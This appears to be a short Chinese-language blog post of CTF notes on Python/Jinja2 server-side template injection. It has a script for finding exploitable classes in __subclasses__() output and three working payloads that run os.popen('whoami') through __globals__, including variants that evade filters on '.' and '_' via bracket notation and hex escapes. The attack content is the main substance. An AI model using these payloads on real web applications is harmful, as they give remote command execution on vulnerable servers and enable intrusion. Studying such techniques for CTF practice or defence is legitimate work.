Python ssti
import re
# 这里填输入 {{[].__class__.__base__.__subclasses__()}} 之后看到的全部类
a=''' '''
count=-1
a=a.split('<class')
classes="logging.Filterer,logging.Filter,jinja2.environment.Environment,jinja2.environment.TemplateModule,jinja2.environment.TemplateExpression,jinja2.environment.TemplateStream,logging.LogRecord,logging.PercentStyle,logging.Formatter,logging.BufferingFormatter,logging.PlaceHolder,logging.Manager,logging.LoggerAdapter,subprocess.CompletedProcess,subprocess.Popen,ssl.SSLObject,inspect.BlockFinder,inspect.Parameter,inspect.BoundArguments,inspect.Signature,asyncio.coroutines.CoroWrapper,asyncio.events.Handle,mimetypes.MimeTypes,uuid.UUID,click._compat._FixupStream"

classes=classes.split(',')
pattern=""
for b in a:
    count=count+1
    for pattern in classes:
        if(re.search(pattern, b)):
            print (count)
            print (b)
            print ("")

# payload: {{"".__class__.__base__.__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

# 过滤.   例如:"".__class__  -->  ""["__class__"]
#{{""["__class__"]["__base__"]["__subclasses__"]()[300]["__init__"]["__globals__"]["os"]["popen"]("whoami")["read"]()}}

# 过滤 _ 和 .
#{{[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[300]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("whoami")["read"]()}}

持续更新………..

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇